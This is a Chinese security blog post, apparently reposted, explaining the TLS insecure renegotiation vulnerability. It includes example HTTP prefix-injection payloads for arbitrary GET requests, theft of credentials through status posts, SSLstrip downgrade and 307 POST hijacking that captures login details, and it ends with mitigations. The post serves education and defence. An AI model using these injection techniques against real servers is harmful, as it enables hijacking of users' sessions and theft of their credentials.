码迷,mamicode.com
首页 > 其他好文 > 详细

【TLS】SSL/TLS协议安全之不安全的重协商

时间:2015-11-26 06:50:18      阅读:824      评论:0      收藏:0      [点我收藏+]

标签:

 

 

周末阅读TLS的相关材料,发现不安全的重协商这块网上没什么中文资料,于是总结一下写了篇小文章。同时拿给了360安全播报(http://bobao.360.cn/learning/detail/2273.html),但是那个格式有点错了,这里也贴上来,请不吝指教,谢谢!


 

0x00 背景

这些年来,SSL/TLS协议的安全性一直是国内外安全研究者研究的重点。在近些年里,针对TLS的漏洞,出现了很多种攻击,如2009年的InSecure Renegotiation(不安全的重协商),2011年的BEAST攻击,2012年的CRIME攻击,以及2013年的Lucky 13,RC4 biases,TIME和BREACH,还有2014年的贵宾犬Poodle攻击。

我们知道,在SSL3.0中引入了支持密码学参数的重协商的特性。当Client或者Server请求重新谈判时,将会有一次新的握手过程,以协商新的安全参数。

这一切看起来都没有问题,但是安全研究者们仍然发现了安全问题,这就是我们今天讨论的主题:Insecure Renegotiation

 

0x01 重协商安全

这个安全问题的起因在于,应用层和加密传输层因为分层的设计,几乎没有互动。举个例子来说,重协商可以发生在一次HTTP请求过程的中间,但应用层并不知晓。
此外,还有可能的一种情况是,Web服务器会将重协商之前的接收数据缓存,和重协商之后的数据一起转发给应用服务器。当然重协商之后参数会发生变化,如可能使用了不同的客户端证书,从而最终导致了TLS和Web应用出现mismatch(不协调)。

攻击流程:

  1. 攻击者拦截受害者到服务器的Handshake请求包
  2. 攻击者新建一个TCP连接到服务器(SSL)以发送Payload
  3. 接下来,攻击者将第一步拦截下来的包发出去。对于服务器来说,以为受害者发起了重协商请求,所以重新建立了TLS连接,但是却忽视了数据的完整性,将两次数据接在一起,从而造成了有害数据的注入。

示意图如下。这里我们示意其对HTTP GET请求的一次注入过程。

技术分享

通过重放Client(victim)的重协商请求包,我们发起攻击。利用的前提条件是找到一个触发重协商的点。当然如果有用户主动发起重协商是最好不过的,如果一些网站在某些条件下需要重协商,攻击者也可以加以利用。

 

0x02 攻击的利用:HTTP

利用不安全的重协商,其攻击的影响主要取决于底层协议和服务器的实现,攻击HTTP是最容易想到的一种利用,这种攻击存在很多变体,Thierry Zoller对HTTP攻击提出了攻击向量与POC。

 

1. 任意GET命令执行

这是最简单的攻击,举个例子吧:

GET /PATH/TO/RESOURCE.jsp HTTP/1.0
X-Ignore:
GET /index.jsp HTTP/1.0
Cookie: JSESSIONID=BASD429ERTLKP09W3P0932K

加粗的部分就是我们前面注入的Payload。
攻击者虽然借用了受害者的身份凭证等机密信息访问了任意GET,但是攻击者不可能获得返回的结果,这种效果和CSRF攻击的效果比较像。

 

2.凭证盗窃

访问中比较重要的信息就是Cookie、Session等凭证信息,也是攻击者瞄准的重点。Anil在Twitter(这是什么网XD)上提出了这种攻击:

POST /statuses/update.xml HTTP/1.0
Authorization: Basic [attacker‘s credentials]
Content-Type: application/x-www-form-urlencoded
Content-Length: [estimated body length]

status=POST /statuses/update.xml HTTP/1.1
Authorization: Basic [victim‘s credentials]

加粗部分是我们的Payload。前一阵很流行用思聪老公的号发微博,这个正好相反。

 

3.用户重定向

如果攻击者可以发现攻击目标网站有一些用户重定向的存在,那么攻击就更加有意思了,Mikhail对此进行了一些探索:

1 将用户重定向到恶意网站

如果我们发现的重定向点可以将参数回放到返回重定向的Location字段,那么我们可以很容易将用户重定向到恶意网站,不过这种情况并不多见。

2 降级劫持

如果重定向的点是不受HTTPS保护的plaintext web site,那么TCP连接便会暴露,我们即可以通过SSLSTRIP的方式劫持受害者的访问。

GET /Some300Resource HTTP/1.1
Connection:close
Host:virtualhost2.com
\r\n\r\n

GET /clientsoriginalrequest HTTP 1.1
Host:bank.com

3 POST 劫持

如果返回307状态的用户跳转的话,代表着服务器要求浏览器以和本次访问一样的Request访问跳转的内容。
我们来看下面的攻击过程:

MITM->Bank.com:443

POST /some307resource HTTP/1.1
X-Ignore:
POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n

Client<-Bank.com:443

307 OK HTTP/1.1
Location: http://www.plaintext.com/PostComment
\r\n\r\n

Client->MITM:80->plaintext.com:80

POST /PostComment HTTP/1.1
Host: plaintext.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n

在这一步,攻击者作为中间人已经可以获得受害者的账户密码。

Client<-MITM:80
307 OK HTTP/1.1
Location: https://www.bank.com/login.jsp
\r\n\r\n

Client->Bank.com:443
POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n

为了使攻击伪装的更好,我们用一个307跳转跳转回bank登陆,看起来什么都没有发生,但是攻击已经成功。

4 其他

TRACE http请求需要server将request放在response中原样返回。如果这种情况出现我们就可以控制返回包中的一些内容。有趣的是,有些小众的浏览器可以以http格式解析包头中的内容从而造成XSS。

 

0x03 其他协议

针对SMTP和FTP两种协议也存在着攻击的理论可能。

对于SMTP,Wietse Venema针对Postfix做了研究,但是侥幸的是,因为一些实现的问题,导致这个漏洞并不会被触发。与此同时,SMTP本身安全性过差导致这个漏洞没有很大的价值。

对于FTP,则可以利用这个漏洞达到TELL SERVER DISABLE ENCRYPTION的效果,之后所有的数据就会取消加密,从而造成信息泄露的问题。

 

0x04 结语

解决不安全的重协商这种攻击在起初时给出了两个思路:

  1. 升级到支持安全的重协商
  2. 直接关闭重协商的选项

不用分析,两种方法高下立判。当然,在新版本的传输层安全协议中这个问题已经得到了很好的解决,但是漏洞与攻击思路,在我们今天的安全研究中仍可以起到一些借鉴作用。

 

Reference

[1]MITM attack on delayed TLS-client auth through renegotiation
http://www.ietf.org/mail-archive/web/tls/current/msg03928.html
[2]TLS/SSLv3 renegotiation vulnerability explained
http://www.g-sec.lu/tools.html
[3]TLS renegotiation vulnerability: definitely not a full blown MITM, yet more than just a simple CSRF
http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html
[4]Generalization of the TLS Renegotiation Flaw Using HTTP 300 Redirection to Effect Cryptographic Downgrade Attacks b284
http://www.leviathansecurity.com/white-papers/tls-and-ssl-man-in-the-middle-vulnerability/
[5]Google
http://www.google.com

 

【TLS】SSL/TLS协议安全之不安全的重协商

标签:

原文地址:http://www.cnblogs.com/windcarp/p/4996461.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!